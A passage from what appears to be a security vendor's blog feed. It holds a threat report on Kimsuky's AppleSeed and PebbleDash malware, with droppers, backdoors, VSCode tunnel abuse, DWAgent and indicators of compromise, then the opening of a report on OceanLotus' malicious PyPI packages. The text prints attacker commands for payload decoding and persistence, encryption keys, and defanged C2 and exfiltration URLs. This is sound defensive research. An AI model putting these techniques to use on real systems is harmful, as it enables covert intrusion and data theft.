The PebbleDash and AppleSeed clusters are considered the most technically advanced in Kimsuky’s toolset. Since at least 2019, these clusters have masqueraded as legitimate documents and application installers, manifesting as JSE droppers or executables with .EXE, .SCR and .PIF extensions. Both are particularly adept at establishing backdoors and stealing information, and ongoing development of their variants has been observed. They even occasionally utilize stolen legitimate certificates from South Korean organizations to avoid detection.

Timeline of the AppleSeed and PebbleDash malware families

Timeline of the AppleSeed and PebbleDash malware families

AppleSeed and PebbleDash have primarily targeted the public and private sectors in South Korea. The PebbleDash cluster has shown a particular interest in the medical, military and defense industries worldwide. The PebbleDash cluster compromised Brazilian and South Korean defense organizations throughout the past several years, as well as a German defense firm. In 2024, the South Korean government released a security advisory regarding the AppleSeed cluster, detailing how the malware was distributed by replacing a security software installer required to access a construction entity’s website.

Initial access

Kimsuky meticulously crafts and delivers spear-phishing emails to its targets in an attempt to entice them into opening attachments. According to recent research, the group also occasionally approaches targets by contacting them via messengers. In all cases, the initial contact leads to the delivery of a malicious attachment disguised as a document. These attachments often consist of compressed files containing droppers in formats such as .JSE, .EXE, .PIF, or .SCR. The filenames are consistent with the message content and are meant to convince the recipient to open the attachment. The malicious files are often disguised as product quotations, job offers, information guides, surveys, government documents, and personal photos.

Here are some recently discovered examples:

Number Filename Filename (translated to English) Detection date MD5 Malware deployed
1 [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse Appendix Form No. 8 – Request for Access, Correction, Deletion, and Suspension of Processing of Personal Information (PIPA Enforcement Rules).hwp.jse August 28, 2025 995a0a49ae4b244928b3f67e2bfd7a6e HelloDoor
2 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse Documents for the Selection of Commissioned Students for Domestic Graduate School Master’s Evening Programs (H1 2026).hwpx.jse December 14, 2025 52f1ff082e981cbdfd1f045c6021c63f httpMalice
3 security_20260126.scr January 26, 2026 65fc9f06de5603e2c1af9b4f288bb22c Reger Dropper, MemLoad, httpTroy
4 노현정님.pdf.jse Ms. Noh Hyun-jung.pdf.jse January 28, 2026 8e15c4d4f71bdd9dbc48cd2cabc87806 AppleSeed chain
5 대국민서비스관리운영체계현장점검증적(초안).pif On-site Inspection Evidence for the Public Service Management System (Draft).pif February 5, 2026 8983ffa6da23e0b99ccc58c17b9788c7 Pidoc Dropper, HappyDoor

JSE droppers contain a minimum of two Base64-encoded blobs: one serving as a benign lure file and one or more containing malicious code. Additional blobs may exist within the dropper, but they are unused. The two blobs are decoded using JScript and stored in an arbitrary location on disk, such as C:\ProgramData, with the malicious filenames randomly generated according to the scheme [random]{7}.[random]{4}. The lure file is opened immediately. The malicious payload leverages powershell.exe -windowstyle hidden certutil -decode [src path] [dst path] for the second Base64 decoding before execution. Ultimately, the malicious payload is executed via command-line instructions such as regsvr32.exe /s [file path] or rundll32.exe [file path] [export function].

Reger Dropper (.SCR) and Pidoc Dropper (.PIF) also contain benign lure files and malicious payloads that, in both cases, are encrypted using XOR operations. Specifically, Reger Dropper employs a hard-coded key #RsfsetraW#@EsfesgsgAJOPj4eml;, while Pidoc Dropper utilizes single-byte XOR with 0xFF to decrypt the internal data for execution. Pidoc Dropper is fully obfuscated using dummy data and encrypted strings. Both droppers deploy files in specific directories such as %temp% or C:\ProgramData before executing the malware using regsvr32.exe.

In addition to these droppers, Kimsuky employed a variety of executable droppers, including those crafted in Go or packaged with Inno Setup.

Deployed malware

In this section, we describe several malware families recently dropped by the droppers discussed above.

HelloDoor: first Rust-based PebbleDash variant

Written in Rust, a programming language rarely used by Kimsuky, HelloDoor is a DLL-based backdoor first identified in August 2025. It is deployed via a malicious JSE dropper. Since it has limited capabilities and a simplistic communication mechanism, the backdoor is most probably in the early stages of development. Nevertheless, it is noteworthy that HelloDoor employs a C2 server hosted through TryCloudflare, a temporary tunneling service provided by Cloudflare. This service allows users to expose a local web service to the internet with no setup or account, making the infrastructure behind it difficult to trace.

HelloDoor establishes persistence upon execution by registering itself to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key with the value name tdll and the command regsvr32.exe /s [current file path].

The implant communicates with the C2 server (hxxp://female-disorder-beta-metropolitan.trycloudflare[.]com/index.php) over the HTTP protocol. Depending on whether the process is executing with an elevated token, it binds to a specific local port: 5555 if the token is elevated, or 5554 if not. Before initiating communication, it generates a unique identifier by collecting device information, such as the MAC address, computer name, and the string “windows”, then computes a hash value from this information.

The malware then constructs a query string in the format aaaaaaaaaa=2&bbbbbbbbbb=[the unique identifier]&cccccccccc=1, which is a traditional format used across the PebbleDash cluster. Subsequent server responses are Base64-decoded and then decrypted using RC4 with the key fwr3errsettwererfs. The decrypted content contains command strings. Possible commands are:

Command Description
“mcd” Set the current directory
“msleep” Sleep for the provided time
“install” Register the regsvr32.exe /s [the provided file path] command to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run autorun registry using the install value name
[command] Execute the provided command using chcp 65001 > nul & cmd /U /C [command]

Though interesting, it is no longer surprising that we found comments in the code that appear to have been generated by an LLM service rather than a human developer. This is based on traces that include emojis used for logging debugging messages.

✅ Port is now listening (no accepting)
 ❌ Port is already in use
 🔍 regsvr32.exe detected as parent. Attempting to terminate...

This is a common trait of LLM services that provides users with better visibility. We previously observed similar comments in the PowerShell-based stealer suite used by BlueNoroff. HelloDoor’s simple structure and the fact that no other Rust-based malware from the group has been discovered yet support our claim.

Even though the code is believed to have been developed using an LLM service, we still found some typos and grammatical errors, such as:

  • result send fail (grammatically incorrect text)
  • server request fail (grammatically incorrect text)
  • command execute failed (grammatically incorrect text)
  • decrytion failed (typos)
  • autorum failed (typos)

It is likely that the flawed comments were added manually before or after AI was used.

httpMalice: latest backdoor variant of PebbleDash

The latest PebbleDash-based backdoor, httpMalice, emerged no later than December 2025 and is deployed by the JSE Dropper. Although we found limited direct connections to both the AppleSeed and PebbleDash clusters, the malware is closer to PebbleDash. The following shared characteristics have been identified:

  • (PebbleDash cluster) Ability to run commands received from the C2 server with the S-1-12-12288 SID, indicating a high integrity level – a feature also observed in PebbleDash and httpTroy.
  • (PebbleDash cluster) Unique identifier generated by combining the volume serial number of the root directory with the elevation status of the current token, mirroring a technique used since the appearance of NikiDoor.
  • (PebbleDash cluster) Communication with its C2 server utilizing three HTTP parameters, consistent with other PebbleDash-based families.
  • (PebbleDash cluster) Core command set more closely aligned with PebbleDash than with AppleSeed-based malware.
  • (AppleSeed cluster) Use of the m= parameter in C2 communication.
  • (AppleSeed cluster) Gathering system details using PowerShell and Windows commands similar to those found in AppleSeed and Troll Stealer.

Our analysis revealed two distinct versions of httpMalice based on their C2 communications: version 1.9 communicates over HTTP and version 1.8 uses Dropbox. The latter, the older variant, leverages the Dropbox API by utilizing pre-defined application credentials. Unlike its predecessor, the HTTP variant employs HTTP/HTTPS protocols to interact with its C2 server and maintains persistent access to the victim device through a Windows service named CacheDB. This mirrors tactics observed in similar threats, such as httpSpy.

The more recent variant gathers critical information from the compromised system, such as the current directory path, volume serial numbers, user privileges, username, local IP address, and the name and size of the currently executed httpMalice DLL file. It then combines the root drive’s volume serial number with the user’s access token privilege level to create a unique identifier for each infected system, formatted as [volume serial]{8}_[elevation status].

Value of elevation status Description
0 Running under the SYSTEM account with an elevated token
1 Running under an elevated administrator account
2 Running without elevation

Depending on the token privilege, the backdoor then establishes persistence by either creating a service or registering itself to autostart at user logon. If the token is elevated, a service named CacheDB is created that executes the command cmd.exe /c “rundll32.exe [current DLL path], load”. The service’s display name is set to Administrator, and its description is defined as CacheDB Service. If the token is not elevated, the backdoor registers the same command under the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with the value name Everything 1.9a-[filesize]. The older version used Everything 1.8a-[filesize] as a value name.

The latest version can execute a combination of Windows commands by default to perform host profiling, while the older version fetches the command set from Dropbox. In httpMalice, commands are mostly executed using the format cmd.exe /c chcp 949 [command] > [temporary filename], which redirects the output to separate files, with the consistent prefix 2Ato6478s added to their names. The chcp 949 command changes the code page to 949, indicating that the malware targets users of the Korean language (EUC-KR charset).

Windows commands used to gather system details

Windows commands used to gather system details

httpMalice transmits the result of host profiling to its C2 server as a URL parameter, using the POST method over the HTTP/HTTPS protocol, with the header x-www-form-urlencoded. The URL includes two or three parameters: operation mode, unique identifier (referred to as UID), and data. The operation mode, or parameter m, supports the following values:

Value Description
1 Send the session identifier (parameter s) along with the current state (parameter a)
2 Request command
3 Send result after executing the command (parameter d)
8 Request directory to be archived and sent
9 Send the archived directory
10 Send a message like “.cmd” or “.tmp” (parameter d)
11 Send ping
12 Send the captured screenshot (parameter d)
13 Send the infected device information (parameter d)

As shown in the table above, the mode is set to 13 at the host profiling stage. The UID is formatted as [volume serial]{8}_[elevation status], and the data contains the ChaCha20-encrypted and Base64-encoded output of the command set stored in the temporary file. The resulting URL format is: m=13&u=[volume serial]{8}_[elevation status]&d=[Chacha20 encrypted + Base64-encoded data to be sent].

The key and nonce used for ChaCha20 encryption are derived from the pointer address of the buffer, resulting in nearly randomized keys. To ensure proper decryption on the attacker side, the nonce and key values are appended after the encrypted data, and the combined blob is then Base64-encoded. The counter is initialized to 0. The following figure illustrates how the encrypted data is structured after performing Base64 decoding.

Structure of the ChaCha20-encrypted data blob

Structure of the ChaCha20-encrypted data blob

After sending the host profiling data, the backdoor continuously transmits a screen capture with mode 12 and a ping message with mode 11. Finally, it sends a session identifier, which is a combination of the current username and local IP address separated by an ‘@’ symbol. In this case, the mode is set to 1 and the a parameter (current state) is set to 0, indicating that the C2 operation has been activated. The following table provides other possible values of the a parameter:

Value Description
0 httpMalice has been activated
1 httpMalice has been inactivated (upon command 9)
2 httpMalice has been removed (upon command 8)

The whole process from sending the host profile to the backdoor activation repeats every two minutes until the C2 server returns a “success!” message.

C2 communication sequence of httpMalice

C2 communication sequence of httpMalice

When the backdoor receives the message from the C2 server, it creates two threads dedicated to processing commands and sending the current state, including the session identifier. The first thread receives a command from the C2 server. It requests a command by sending mode 2 and, if successful, immediately sends mode 10 along with the string “.cmd” in the d parameter.

The commands supported by httpMalice are as follows:

Command Description
0 Do nothing
1 Execute the command with EUC-KR encoding
2 Download and extract the file to the infected device
3 Upload a directory to the C2 server after it has been archived
5 Get the current directory
6 Set the current directory
7 Execute the command without setting a EUC-KR character set
8 Remove its persistence traces and exit the process
9 Hibernate
10 Execute the command using the provided session ID
12 Capture the screen
13 Load the downloaded payload into memory

MemLoad downloads httpTroy

Since early 2025, we have observed several versions of MemLoad; specifically, MemLoad V2 emerged in March, and V3 appeared by September. The payload that began being deployed through the Reger Dropper this year has been identified as an updated variant of MemLoad, slightly modified from the V3 version (referred to internally as MemLoader.dll).

Kimsuky leverages MemLoad to evade detection of its final backdoor and to carefully assess the value of targeted systems through anti-VM checks and reconnaissance. Upon installation, it requests an additional payload from the C2 server, executing it reflectively in memory if deemed suitable. Notably, all versions of MemLoad V2 and later use the same RC4 key.

Below are the key operations of MemLoad:

  1. Creates a flag file. Creates a file containing a random eight-character string from the set 0123456789abcdefABCDEF with another random eight-character string as the name and “.dat.cfg” extension at the current file path.
  2. Generates an ID. Generates an ID value by adding either ‘A-‘ or ‘U-‘ to the beginning of the random bytes. The choice of symbol is determined by attempting to create a random file in the C:\Windows\system32 directory. If successful, the ID starts with ‘A-‘ (indicating administrative privileges); otherwise, it starts with ‘U-‘.
  3. Persistence via a scheduled task. Checks for the existence of the .dat.cfg file, and if confirmed, a scheduled task is set up for persistence. The task name is determined by whether the process is running with elevated privileges. If elevated, the task is named ChromeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /rl highest /f is executed. Otherwise, the task is named EdgeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /f is executed.
  4. C2 communication and payload download. Requests an additional payload from its C2 server, with the header Authorization: Bearer {ID} or X-Browser-Validation: {ID} for authentication. The ID is set to the previously generated ID value.
  5. Payload decryption and execution. Once the download is successful, the payload is decrypted using the RC4 algorithm with the key #RsfsetraW#@EsfesgsgAJOPj4eml;. The decrypted payload is then reflectively loaded into memory, and its hello export function is invoked.

The payload downloaded and executed by MemLoad is identified as the httpTroy backdoor. This backdoor serves as the primary role for long-term access and data exfiltration. Similar to MemLoad, it employs stealth techniques by creating a flag file and writing eight random bytes to it. However, in this case the file is created at [current file path]:HUI in the ADS (Alternative Data Stream) area. The backdoor then checks its privileges to determine if it is elevated and assigns an ID value in the format A-[random-8-chars] or U-[random-8-chars].

Since Gen Digital covers httpTroy’s features and functionality in detail elsewhere, we will not provide a thorough explanation here to avoid redundancy. Instead, we will simply note that it communicates with the C2 server at hxxps://file.bigcloud.n-e[.]kr/index.php.

AppleSeed

AppleSeed first appeared in 2019 and reached version 3.0. However, we now only see version 2.1. It originally consisted of two components: a dropper and the main AppleSeed. Since 2022, the updated AppleSeed chain has involved two droppers, an additional component referred to as the installer, and the main payload. It is mostly delivered through JSE Dropper.

Updated AppleSeed infection chain

Updated AppleSeed infection chain

There are two versions of the main AppleSeed: Dropper and Spy. The Dropper variant is responsible for downloading additional malware and executing commands received from its C2 server, while the Spy version gathers sensitive information such as documents, screenshots, keystrokes, and lists of USB drives. A notable change in version 2.1 is the inclusion, since 2022, of collecting the C:\GPKI directory – functionality that is also implemented in Troll Stealer. This directory contains a digital certificate used by the South Korean government to securely authenticate public officials and government systems.

HappyDoor

HappyDoor, an AppleSeed-based backdoor malware disclosed by AhnLab in 2024, is less visible than AppleSeed. HappyDoor shares several features with AppleSeed, including the same string obfuscation algorithm, the data types it collects, and the use of RSA encryption. Given these similarities, we assess with medium confidence that HappyDoor is an advanced variant evolved from AppleSeed.

Post-exploitation

We observed interesting post-exploitation activities involving VSCode and DWAgent. All of the observed VSCode droppers used the same lure files as the PebbleDash malware cluster. While we are unsure of the exact reason for this strategy, we suspect that the actor prepared both PebbleDash and VSCode droppers in anticipation of the PebbleDash infection chain being detected by security products because of its backdoor capabilities. In contrast, the use of VSCode is designed to have fewer detection points.

VSCode (launched by the JSE dropper)

Since last year, Kimsuky has been leveraging the legitimate Visual Studio Code Remote Tunneling feature to establish covert remote access to the victim’s device, bypassing detection designed for traditional malware-based C2 channels (first described by Darktrace researchers). In these attacks, instead of dropping malware, the JSE dropper downloads a legitimate Visual Studio Code (VSCode) CLI onto the infected device. The script establishes persistence by creating a tunnel via the application, with the tunnel name “bizeugene”, using the command below.

The Remote Tunneling feature in VSCode supports establishing a tunnel using either a Microsoft or GitHub account. When the code tunnel command is executed, the CLI initiates an authentication flow and returns a login URL along with a device code. The user must then navigate to the URL, enter the device code, and authenticate with their account. Once authentication is successful, the tunnel is created and the CLI outputs a URL for tunneling that enables browser-based access to the remote host.

The GitHub authentication method is selected in this instance because GitHub is configured as the default provider in non-interactive execution contexts. By using echo |, the script injects a \r\n (Carriage Return and Line Feed) into the standard input stream, effectively confirming the default prompt selection without manual interaction. As a result, the CLI automatically initiates the GitHub authentication flow. Next, all CLI output that includes a login URL and a device code is saved to out.txt.

Out.txt content

Out.txt content

The JScript code in the JSE dropper monitors the out.txt file for a URL that begins with hxxps://vscode[.]dev/tunnel. This URL contains the full address of the established tunnel. Once detected, the file content containing the URL and the device code is sent to a compromised legitimate South Korean website (hxxps://www.yespp.co[.]kr/common/include/code/out[.]php) using the HTTP POST method. The request contains the file contents in the application/x-www-form-urlencoded header data formatted as out=URLencoded{result of the command}&token=URLencoded{"bizeugene"}. After authentication is complete, the attacker can access the compromised host externally through a web browser by authenticating with their own GitHub account.

VSCode (launched by VSCode installer)

While searching our telemetry for artifacts related to a different infection, we identified a new VSCode tunnel installer written in Go. A previous version of this installer was implemented using JScript and was limited to secure channels because of its reliance on a specific tunnel name. The new variant, named vscode_payload by the developer based on the embedded Go path, is fully operational and supports every tunnel on each targeted device. It includes features that are nearly identical to those of the previous version, such as downloading, unarchiving, and executing the VSCode CLI.

Number Installer type VSCode version Download source
1 Written in JScript VSCode CLI 1.106.3 hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/bf9252a2fb45be6893dd8870c0bf37e2e1766d61/vscode_cli_win32_x64_cli[.]zip
2 Written in Go VSCode CLI 1.106.2 hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/1e3c50d64110be466c0b4a45222e81d2c9352888/vscode_cli_win32_x64_cli[.]zip

After the VSCode CLI file has been successfully downloaded, it is unzipped into the C:\Users\Public directory, and the extracted code.exe is executed with the tunnel command.

This is how the installer works:

  1. Executes code.exe tunnel.
  2. Searches for the “Microsoft Account” string in the stdout.
  3. Sends the 0x1B 0x5B 0x42 (Down Arrow) and 0x0A (Enter) escape sequence to the pseudo-terminal, which enables tunnel creation via a GitHub account.
  4. Searches for the “use code” string in the stdout.
  5. Sends the printed code for authentication, prepended with the “hxxps://github[.]com/login/device” => prefix. The attacker authorizes Visual Studio Code with the logged-in GitHub account using the printed code.
  6. Searches for the “What would you like to call this machine?” string in the stdout.
  7. Sends the 0x0A escape sequence to the pseudo-terminal to use the current machine name as the identifier.
  8. Searches for the “https://vscode.dev/tunnel/” string in the stdout.
  9. Sends the printed URL for tunneling to the Slack WebHook.

The following figure illustrates the sequence for creating a tunnel using the VSCode CLI. Red boxes highlight the strings that the installer searches for. Yellow boxes indicate standard input operations sent from the installer using escape sequences. Sky blue boxes represent the values that are necessary to create the tunnel on the attacker’s side. (The “Microsoft Account” string in the second step is not shown in this figure because the second “GitHub Account” was already selected during the process.)

Creating a tunnel using VSCode CLI

Creating a tunnel using VSCode CLI

Once the process is complete, the attacker can access the targeted host through the tunnel on their remote machine using their GitHub account via a browser or VSCode. The targeted device then begins communicating with Microsoft-owned servers without the user realizing that the communication is from an attacker.

An interesting feature of this variant is that it sends debugging messages and necessary values to a Slack channel via a WebHook. Upon execution, it sends "+++ I am started +++", as well as a heartbeat message "~~~ I am alive ~~~" approximately every second during tunneling authentication.

DWAgent

DWAgent is a remote administration tool that is frequently exploited by threat actors, including ransomware and APT groups, to easily access compromised endpoints with minimal risk of detection. Kimsuky is one of the threat actors that uses this tool in its operations.

We observed that the group delivered DWAgent in at least two ways. The first involved delivering a compressed file containing DWAgent, along with separate commands, to a host infected with httpMalice for installation. The second method involved creating a separate installer.

This installer is very similar to the Reger Dropper. It uses the same RC4 key and has a similar code structure. It includes an archived binary and a legitimate unrar.exe binary, both encrypted with RC4. When executed, the installer decrypts the archived binary and saves it as 1.zip in the C:\ProgramData directory. It also creates an unrar.exe file in the same location using the decrypted unrar.exe binary. The dropper then uses the command C:\programdata\unrar.exe x C:\programdata\1.zip C:\programdata\ to extract the contents of the ZIP file. Finally, it executes the commands necessary to install DWService as a service on the target host:

  • c:\programdata\dwagent\native\dwagsvc.exe installService
  • c:\programdata\dwagent\native\dwagsvc.exe startService

The compressed file contains a pre-packaged, ready-to-use DWAgent, as well as a predefined config file. The actor deployed the agent with a config.json file linked to their own account to covertly control the device. As a result, the remote session is immediately activated by the above command, granting the attacker control.

The predefined config file is as follows. Note that the servers are legitimate DWAgent relay servers.

{
 "enabled": true,
 "key": "kDRNGmWGTMpjQmREgQzU",
 "listen_port": 7950,
 "nodes": [
  {
   "id": "ND896147",
   "port": "443",
   "server": "node896147.dwservice[.]net"
  },
  {
   "id": "ND828765",
   "port": "443",
   "server": "node828765.dwservice[.]net"
  },
  {
   "id": "ND484265",
   "port": "443",
   "server": "node484265.dwservice[.]net"
  }
 ],
 "password": "eJwrynEqD0r294twTXLKCHWqDPLPCql0Kg/JDqpIdk4HAKYMCso=",
 "url_primary": "hxxps://www.dwservice[.]net/"
}

Infrastructure

For years, Kimsuky has relied heavily on the South Korea-based free domain hosting service 내도메인[.]한국 (pronounced as “naedomain[.]hankook) to mimic legitimate sites with domains like .p-e.kr, .o-r.kr, .n-e.kr, .r-e.kr, and .kro.kr. This service has been utilized to create C2 servers for PebbleDash and AppleSeed clusters, and the background infrastructures have been mostly resolved to the virtual private servers belonging to InterServer. It has also been noted that many other malicious actors have exploited this free domain hosting service, so it alone cannot be considered proof of a connection to Kimsuky.

The actor also occasionally exploits South Korean websites as C2 servers to evade network-IoC-based detection and increase the success rate of attacks. Furthermore, they actively leverage tunneling services such as Cloudflare Quick Tunnels, VSCode Tunneling, and Ngrok to hide their infrastructure. These traits are mostly observed across the PebbleDash cluster.

Victims

We identified multiple infection logs uploaded to the Dropbox storage used for httpMalice’s C2 server. They were analyzed as having been stolen from infected systems across various organizations or individuals in South Korea. Notably, each victim’s folder contained a user.txt file with detailed information such as target details, the presence of something named “http” (possibly a backdoor, such as httpTroy or httpMalice), DWAgent existence, and relationships between infected devices and targets. While we could not verify the exact creation process of these files, they were likely created manually by attackers to manage victims using Korean words.

Below you can see an example of this type of file content. In this context, “장악” means “take over” and “있음” means “exists”.

[Target's name] [Description] [Infection date] 장악, http 있음, DWService 있음.

While both clusters have mainly focused on targeting the private and public sectors in South Korea, the AppleSeed malware cluster shows more interest in government entities. The PebbleDash cluster has also shown particular interest in the defense sector worldwide.

Attribution

Over the past few years, we have observed two clusters using overlapping distribution methods – JSE, EXE, SCR, and PIF droppers. The targets are also increasingly aligning. Furthermore, we noted that several samples from both malware clusters were signed with the same stolen certificate and used identical mutex patterns. These findings suggest that a single actor is likely controlling both clusters and has the capability to modify code as needed. This concept was also described in another research paper at the Virus Bulletin conference.

Since its emergence, AppleSeed has been linked to Kimsuky operations, with each variant showing ties to the group. Since 2021, PebbleDash has been found exclusively in Kimsuky attacks. Based on our analysis of targets, infrastructure, and malware characteristics, we assess with medium-high confidence that attacks associated with these malware families are conducted by Kimsuky-affiliated clusters.

These two clusters share technical links to the threat actor known as Ruby Sleet, one of the names Microsoft uses for Kimsuky activity. In previous reports, Mandiant also referred to these clusters as Cerium, but now they appear to consider them part of the broader APT43 designation – another name for Kimsuky.

Conclusion

Our analysis shows that the actor retains access to the original source code of the malware clusters and the ability to modify it. Over time, malware undergoes updates and modifications, sometimes being repurposed or reused by other actors. Although analyzing malware may seem repetitive and time-consuming, understanding how these tools evolve helps us grasp the threat actor’s changing tactics.

Two clusters have overlapping target sectors that span the defense, military, government, medical, machinery, and energy industries. The AppleSeed cluster is shifting its focus to data exfiltration, and GPKI certificate extraction has become a signature capability. Meanwhile, the PebbleDash cluster demonstrates advanced remote control capabilities and an expanding set of targets.

Although AI may offer full automation for some attacks, many groups stick with the tools and strategies they have used for years. Structuring a fully automated attack is not trivial. Despite ongoing changes, we will continue to track advanced threat actors by comprehensively considering malware, initial vectors, targets, post-exploitation activities, and ultimate goals.

Indicators of compromise

File hashes

JSE Dropper
995a0a49ae4b244928b3f67e2bfd7a6e         [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse
52f1ff082e981cbdfd1f045c6021c63f             2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse
9fe43e08c8f446554340f972dac8a68c          2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse
8e15c4d4f71bdd9dbc48cd2cabc87806         노현정님.pdf.jse

Reger Dropper
65fc9f06de5603e2c1af9b4f288bb22c                       security_20260126.scr
c19aeaedbbfc4e029f7e9bdface495b9                      secu.scr

Pidoc Dropper
8983ffa6da23e0b99ccc58c17b9788c7                      대국민서비스관리운영체계_현장점검_증적(초안).pif

AppleSeed (Dropper)
a7f0a18ac87e982d6f32f7a715e12532
f4465403f9693939fe9c439f0ab33610
5c373c2116ab4a615e622f577e22e9be

HappyDoor
d1ec20144c83bba921243e72c517da5e

MemLoad
58ac2f65e335922be3f60e57099dc8a3
f73ba062116ea9f37d072aa41c7f5108          jhsakqvv.dat

httpTroy
7e0825019d0de0c1c4a1673f94043ddb        c:\programdata\config.db

httpMalice
08160acf08fccecde7b34090db18b321
94faed9af49c98a89c8acc55e97276c9

HelloDoor
c42ae004badddd3017adadbdd1421e00

VSCode Tunnel installer
9ca5f93a732f404bbb2cee848f5bbda0                      xipbkmaw.exe

DWAgent installer
678fb1a87af525c33ba2492552d5c0e2

Domains and IPs

opedromos1.r-e[.]kr                            C2 of AppleSeed
morames.r-e[.]kr                                 C2 of AppleSeed
load.ssangyongcne.o-r[.]kr                 C2 of MemLoad
load.yju.o-r[.]kr                                   C2 of MemLoad
attach.docucloud.o-r[.]kr                    C2 of MemLoad
load.supershop.o-r[.]kr                       C2 of MemLoad
load.erasecloud.n-e[.]kr                     C2 of MemLoad

cms.spaceyou.o-r[.]kr                         C2 of HappyDoor
erp.spaceme.p-e[.]kr                          C2 of HappyDoor

file.bigcloud.n-e[.]kr                            C2 of httpTroy
load.auraria[.]org                                C2 of httpTroy

female-disorder-beta-metropolitan.trycloudflare[.]com         C2 of HelloDoor
hxxps://www.pyrotech.co[.]kr/common/include/tech/default.php      C2 of httpMalice
hxxp://newjo-imd[.]com/common/include/library/default.php            C2 of httpMalice
hxxps://www.yespp.co[.]kr/common/include/code/out.php               VSCode Tunneling using JScript

OceanLotus suspected of using PyPI to deliver ZiChatBot malware

By: GReAT
6 May 2026 at 15:00

Introduction

Through our daily threat hunting, we noticed that, beginning in July 2025, a series of malicious wheel packages were uploaded to PyPI (the Python Package Index). We shared this information with the public security community, and the malware was removed from the repository. We submitted the samples to Kaspersky Threat Attribution Engine (KTAE) for analysis. Based on the results, we believe the packages may be linked to malware discussed in a Threat Intelligence report on OceanLotus.

While these wheel packages do implement the features described on their PyPI web pages, their true purpose is to covertly deliver malicious files. These files can be either .DLL or .SO (Linux shared library), indicating the packages’ ability to target both Windows and Linux platforms. They function as droppers, delivering the final payload – a previously unknown malware family that we have named ZiChatBot. Unlike traditional malware, ZiChatBot does not communicate with a dedicated command and control (C2) server, but instead uses a series of REST APIs from the public team chat app Zulip as its C2 infrastructure.

To conceal the malicious package containing ZiChatBot, the attacker created another benign-looking package that included the malicious package as a dependency. Based on these facts, we confirm that this campaign is a carefully planned and executed PyPI supply chain attack.

Technical details

Spreading

The attacker created three projects on PyPI and uploaded malicious wheel packages designed to imitate popular libraries, tricking users into downloading them. This is a clear example of a supply chain attack via PyPI. See below for detailed information about the fake libraries and their corresponding wheel packages.

Malicious wheel packages

The packages added by the attacker and listed on PyPI’s download pages are:

  • uuid32-utils library for generating a 32-character random string as a UUID
  • colorinal library for implementing cross-platform color terminal text
  • termncolor library for ANSI color format for terminal output

The key metadata for these packages are as follows:

Pip install command File name First upload date Author / Email
pip install uuid32-utils uuid32_utils-1.x.x-py3-none-[OS platform].whl 2025-07-16 laz**** / laz****@tutamail.com
pip install colorinal colorinal-0.1.7-py3-none-[OS platform].whl 2025-07-22 sym**** / sym****@proton.me
pip install termncolor termncolor-3.1.0-py3-none-any.whl 2025-07-22 sym**** / sym****@proton.me

Based on the distribution information on the PyPI web page, we can see that it offers X86 and X64 versions for Windows, as well as an x86_64 version for Linux. The colorinal project, for example, provides the following download options:

Distribution information of the colorinal project

Distribution information of the colorinal project

Initial infection

The uuid32-utils and colorinal libraries employ similar infection chains and malicious payloads. As a result, this analysis will focus on the colorinal library as a representative example.

A quick look at the code of the third library, termncolor, reveals no apparent malicious content. However, it imports the malicious colorinal library as a dependency. This method allows attackers to deeply conceal malware, making the termncolor library appear harmless when distributing it or luring targets.

The termncolor library imports the malicious colorinal library

The termncolor library imports the malicious colorinal library

During the initial infection stage, the Python code is nearly identical across both Windows and Linux platforms. Here, we analyze the Windows version as an example.

Windows version

Once a Python user downloads and installs the colorinal-0.1.7-py3-none-win_amd64.whl wheel package file, or installs it using the pip tool, the ZiChatBot’s dropper (a file named terminate.dll) will be extracted from the wheel package and placed on the victim’s hard drive.

After that, if the colorinal library is imported into the victim’s project, the Python script file at [Python library installation path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\__init__.py will be executed first.

The __init__.py script imports the malicious file unicode.py

The __init__.py script imports the malicious file unicode.py

This Python script imports and executes another script located at [python library install path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\unicode.py. The is_color_supported() function in unicode.py is called immediately.

The code loads the dropper into the host Python process

The code loads the dropper into the host Python process

The comment in the is_color_supported() function states that the highlighted code checks whether the user’s terminal environment supports color. The code actually loads the terminate.dll file into the Python process and then invokes the DLL’s exported function envir, passing the UTF-8-encoded string xterminalunicod as a parameter. The DLL acts as a dropper, delivering the final payload, ZiChatBot, and then self-deleting. At the end of the is_color_supported() function, the unicode.py script file is also removed. These steps eliminate all malicious files in the library and deploy ZiChatBot.
For the Linux platform, the wheel package and the unicode.py Python script are nearly identical to the Windows version. The only difference is that the dropper file is named “terminate.so”.

Dropper for ZiChatBot

From the previous analysis, we learned that the dropper is loaded into the host Python process by a Python script and then activated. The main logic of the dropper is implemented in the envir export function to achieve three objectives:

  1. Deploy ZiChatBot.
  2. Establish an auto-run mechanism.
  3. Execute shellcode to remove the dropper file (terminate.dll) and the malicious script file from the installed library folder.

The dropper first decrypts sensitive strings using AES in CBC mode. The key is the string-type parameter “xterminalunicode” of the exported function. The decrypted strings are “libcef.dll”, “vcpacket”, “pkt-update”, and “vcpktsvr.exe”.

Next, the malware uses the same algorithm to decrypt the embedded data related to ZiChatBot. It then decompresses the decrypted data with LZMA to retrieve the files vcpktsvr.exe and libcef.dll associated with ZiChatBot. The malware creates a folder named vcpacket in the system directory %LOCALAPPDATA%, and places these files into it.

To establish persistence for ZiChatBot, the dropper creates the following auto-run entry in the registry:

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"pkt-update"="C:\Users\[User name]\AppData\Local\vcpacket\vcpktsvr.exe"

Once preparations are complete, the malware uses the XOR algorithm to decrypt the embedded shellcode with the three-byte key 3a7. It then searches the decrypted shellcode’s memory for the string Policy.dllcppage.dll and replaces it with its own file name, terminate.dll, and redirects execution to the shellcode’s memory space.

